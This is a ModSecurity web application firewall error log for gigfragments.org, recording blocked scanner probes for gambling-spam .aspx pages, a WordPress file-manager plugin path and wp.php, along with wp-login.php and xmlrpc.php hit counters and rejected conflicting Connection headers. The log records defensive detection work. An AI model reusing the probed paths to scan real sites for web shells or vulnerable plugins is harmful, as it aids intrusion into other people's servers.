[Wed Apr 22 02:44:05.756308 2026] [:error] [pid 54080:tid 54103] [client 42.200.231.39:38488] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aefFdYzEbQHHxtmWbaYIzQAAAtU"]
[Wed Apr 22 02:44:07.878193 2026] [:error] [pid 4777:tid 4809] [client 42.200.231.39:59699] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aefFd6xXur6bykKyLZTR4wAAARU"]
[Wed Apr 22 02:44:09.668695 2026] [:error] [pid 53978:tid 53996] [client 42.200.231.39:29616] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aefFeZ1ivsR4hcOSQbaDvAAAApA"]
[Wed Apr 22 02:44:11.649214 2026] [:error] [pid 54080:tid 54105] [client 42.200.231.39:29075] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aefFe4zEbQHHxtmWbaYI1wAAAtc"]
[Wed Apr 22 02:44:13.451739 2026] [:error] [pid 54080:tid 54089] [client 42.200.231.39:14408] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aefFfYzEbQHHxtmWbaYI3AAAAsc"]
[Wed Apr 22 02:44:15.595346 2026] [:error] [pid 35320:tid 35343] [client 42.200.231.39:11534] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aefFf4JW6fdXWO6agMGgGwAAAA0"]
[Wed Apr 22 02:44:20.183022 2026] [:error] [pid 53978:tid 54003] [client 42.200.231.39:35394] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aefFhJ1ivsR4hcOSQbaD0AAAApc"]
[Wed Apr 22 02:44:27.999633 2026] [:error] [pid 35322:tid 35375] [client 42.200.231.39:14863] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aefFi6PoAfV40BTfVKz0qQAAAJI"]
[Wed Apr 22 02:44:31.774695 2026] [:error] [pid 35320:tid 35348] [client 42.200.231.39:24592] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aefFj4JW6fdXWO6agMGgRQAAABI"]
[Wed Apr 22 02:46:51.406769 2026] [:error] [pid 53731:tid 53750] [client 43.130.49.80:60534] [client 43.130.49.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aefGG12I9THUR-bRVGzrZgAAAg8"]
[Wed Apr 22 03:28:30.185963 2026] [:error] [pid 21788:tid 21814] [client 206.189.64.23:50008] [client 206.189.64.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.64.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aefP3n7OM27rzVpef24pJgAAANg"]
[Wed Apr 22 03:35:00.953502 2026] [:error] [pid 21681:tid 21703] [client 110.166.71.39:44825] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aefRZN5LmJziq-yZYawIAAAAAA0"]
[Wed Apr 22 03:42:09.958880 2026] [:error] [pid 23041:tid 23058] [client 206.189.64.23:53186] [client 206.189.64.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.64.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aefTEUTXx_lUa7xwAb5k-gAAAQ4"]
[Wed Apr 22 05:00:34.227845 2026] [:error] [pid 21682:tid 21734] [client 41.45.53.243:57905] [client 41.45.53.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.45.53.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeflcplXWQZUlmPHS3rjPAAAAEs"]
[Wed Apr 22 05:00:44.019823 2026] [:error] [pid 23041:tid 23046] [client 41.45.53.243:58282] [client 41.45.53.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.45.53.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeflfETXx_lUa7xwAb6ktgAAAQI"]
[Wed Apr 22 05:00:54.514742 2026] [:error] [pid 21683:tid 21773] [client 41.45.53.243:58625] [client 41.45.53.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.45.53.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeflhlZBWT-0diZyYyZwMAAAAJc"]
[Wed Apr 22 05:01:05.087511 2026] [:error] [pid 23041:tid 23046] [client 41.45.53.243:58882] [client 41.45.53.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.45.53.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeflkUTXx_lUa7xwAb6k3gAAAQI"]
[Wed Apr 22 05:01:15.616250 2026] [:error] [pid 21683:tid 21764] [client 41.45.53.243:59145] [client 41.45.53.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.45.53.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeflm1ZBWT-0diZyYyZwOwAAAI4"]
[Wed Apr 22 05:11:33.334984 2026] [:error] [pid 21682:tid 21740] [client 113.173.206.123:53169] [client 113.173.206.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.173.206.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aefoBZlXWQZUlmPHS3rmTQAAAFE"]
[Wed Apr 22 05:14:16.343623 2026] [:error] [pid 21683:tid 21762] [client 177.203.12.34:63294] [client 177.203.12.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.203.12.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aefoqFZBWT-0diZyYyZ2NQAAAIw"]
[Wed Apr 22 05:14:27.128922 2026] [:error] [pid 21683:tid 21755] [client 177.203.12.34:63720] [client 177.203.12.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.203.12.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aefos1ZBWT-0diZyYyZ2QAAAAIU"]
[Wed Apr 22 05:14:36.465343 2026] [:error] [pid 21788:tid 21798] [client 177.203.12.34:64006] [client 177.203.12.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.203.12.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aefovH7OM27rzVpef25rVgAAAMg"]
[Wed Apr 22 05:14:46.912560 2026] [:error] [pid 21788:tid 21813] [client 177.203.12.34:64255] [client 177.203.12.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.203.12.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aefoxn7OM27rzVpef25rkAAAANc"]
[Wed Apr 22 05:14:57.453475 2026] [:error] [pid 21788:tid 21800] [client 177.203.12.34:64506] [client 177.203.12.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.203.12.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aefo0X7OM27rzVpef25r1AAAAMo"]
[Wed Apr 22 06:27:49.586034 2026] [:error] [pid 21788:tid 21801] [client 158.173.67.152:33093] [client 158.173.67.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.173.67.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aef55X7OM27rzVpef26q4AAAAMs"]
[Wed Apr 22 06:28:05.806531 2026] [:error] [pid 31706:tid 31720] [client 172.183.131.26:9587] [client 172.183.131.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.183.131.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/wp/xmlrpc.php"] [unique_id "aef59bGSe9Rnd4Q_z1idAgAAAcs"]
[Wed Apr 22 06:47:33.185767 2026] [:error] [pid 23041:tid 23054] [client 20.100.201.184:36310] [client 20.100.201.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aef-hUTXx_lUa7xwAb7Z2gAAAQo"]
[Wed Apr 22 06:47:34.387361 2026] [:error] [pid 32095:tid 32106] [client 20.100.201.184:36234] [client 20.100.201.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aef-htfu5Cv628YPe591NwAAA4g"]
[Wed Apr 22 06:47:35.990478 2026] [:error] [pid 31844:tid 31867] [client 20.100.201.184:36343] [client 20.100.201.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aef-h2tAU9CprTB4b3IvowAAApU"]
[Wed Apr 22 06:47:37.790562 2026] [:error] [pid 21682:tid 21728] [client 20.100.201.184:39664] [client 20.100.201.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aef-iZlXWQZUlmPHS3oBsAAAAEU"]
[Wed Apr 22 07:17:06.425246 2026] [:error] [pid 21683:tid 21770] [client 170.106.181.163:38990] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aegFclZBWT-0diZyYyabSgAAAJQ"]
[Wed Apr 22 07:45:20.356162 2026] [:error] [pid 23041:tid 23053] [client 20.41.98.121:11559] [client 20.41.98.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aegMEETXx_lUa7xwAb4B4AAAAQk"]
[Wed Apr 22 07:45:20.922041 2026] [:error] [pid 31755:tid 31770] [client 20.41.98.121:13357] [client 20.41.98.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aegMEAz2mYMkg3X8q1t8EQAAAgc"]
[Wed Apr 22 07:45:21.487458 2026] [:error] [pid 31844:tid 31860] [client 20.41.98.121:10209] [client 20.41.98.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aegMEWtAU9CprTB4b3I0IgAAAo4"]
[Wed Apr 22 07:45:22.096813 2026] [:error] [pid 31755:tid 31773] [client 20.41.98.121:11536] [client 20.41.98.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aegMEgz2mYMkg3X8q1t8GAAAAgo"]
[Wed Apr 22 08:32:22.465056 2026] [:error] [pid 31706:tid 31709] [client 43.156.232.190:33018] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aegXFrGSe9Rnd4Q_z1ilawAAAcA"]
[Wed Apr 22 09:45:58.257367 2026] [:error] [pid 23041:tid 23068] [client 111.172.249.49:58316] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aegoVkTXx_lUa7xwAb4zBwAAARg"]
[Wed Apr 22 10:57:36.539383 2026] [:error] [pid 31755:tid 31779] [client 51.75.118.97:34538] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeg5IAz2mYMkg3X8q1vlEwAAAhA"]
[Wed Apr 22 10:57:38.645298 2026] [:error] [pid 21682:tid 21736] [client 51.75.118.97:42910] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeg5IplXWQZUlmPHS3pPwAAAAE0"]
[Wed Apr 22 10:57:40.745912 2026] [:error] [pid 32095:tid 32104] [client 51.75.118.97:42918] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeg5JNfu5Cv628YPe5-SPwAAA4Y"]
[Wed Apr 22 10:57:42.749979 2026] [:error] [pid 31755:tid 31783] [client 51.75.118.97:42932] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeg5Jgz2mYMkg3X8q1vlHAAAAhQ"]
[Wed Apr 22 10:57:44.832696 2026] [:error] [pid 32095:tid 32097] [client 51.75.118.97:33038] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeg5KNfu5Cv628YPe5-SRAAAA4A"]
[Wed Apr 22 10:57:46.676034 2026] [:error] [pid 31755:tid 31772] [client 51.75.118.97:33044] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeg5Kgz2mYMkg3X8q1vlJwAAAgk"]
[Wed Apr 22 10:57:48.794791 2026] [:error] [pid 31755:tid 31782] [client 51.75.118.97:33046] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeg5LAz2mYMkg3X8q1vlMAAAAhM"]
[Wed Apr 22 10:57:50.761686 2026] [:error] [pid 32053:tid 32058] [client 51.75.118.97:33058] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeg5LgzPjXx_ocfbYhtOHgAAA0M"]
[Wed Apr 22 10:57:52.689637 2026] [:error] [pid 21682:tid 21737] [client 51.75.118.97:33074] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeg5MJlXWQZUlmPHS3pPywAAAE4"]
[Wed Apr 22 10:57:54.548837 2026] [:error] [pid 32053:tid 32071] [client 51.75.118.97:60156] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeg5MgzPjXx_ocfbYhtOIQAAA1A"]
[Wed Apr 22 10:57:56.399737 2026] [:error] [pid 31949:tid 31955] [client 51.75.118.97:60168] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeg5NH2WtGZh5JfbMUdgwwAAAwM"]
[Wed Apr 22 10:57:58.275870 2026] [:error] [pid 31949:tid 31953] [client 51.75.118.97:60176] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeg5Nn2WtGZh5JfbMUdgywAAAwE"]
[Wed Apr 22 10:58:00.292230 2026] [:error] [pid 31844:tid 31850] [client 51.75.118.97:60190] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeg5OGtAU9CprTB4b3JD3AAAAoQ"]
[Wed Apr 22 10:58:02.216962 2026] [:error] [pid 31844:tid 31861] [client 51.75.118.97:60194] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeg5OmtAU9CprTB4b3JD4AAAAo8"]
[Wed Apr 22 10:58:04.160931 2026] [:error] [pid 31755:tid 31784] [client 51.75.118.97:53140] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeg5PAz2mYMkg3X8q1vlQAAAAhU"]
[Wed Apr 22 10:58:06.191512 2026] [:error] [pid 21682:tid 21733] [client 51.75.118.97:53146] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeg5PplXWQZUlmPHS3pP2AAAAEo"]
[Wed Apr 22 10:58:07.968581 2026] [:error] [pid 23041:tid 23051] [client 51.75.118.97:53154] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aeg5P0TXx_lUa7xwAb5PXQAAAQc"]
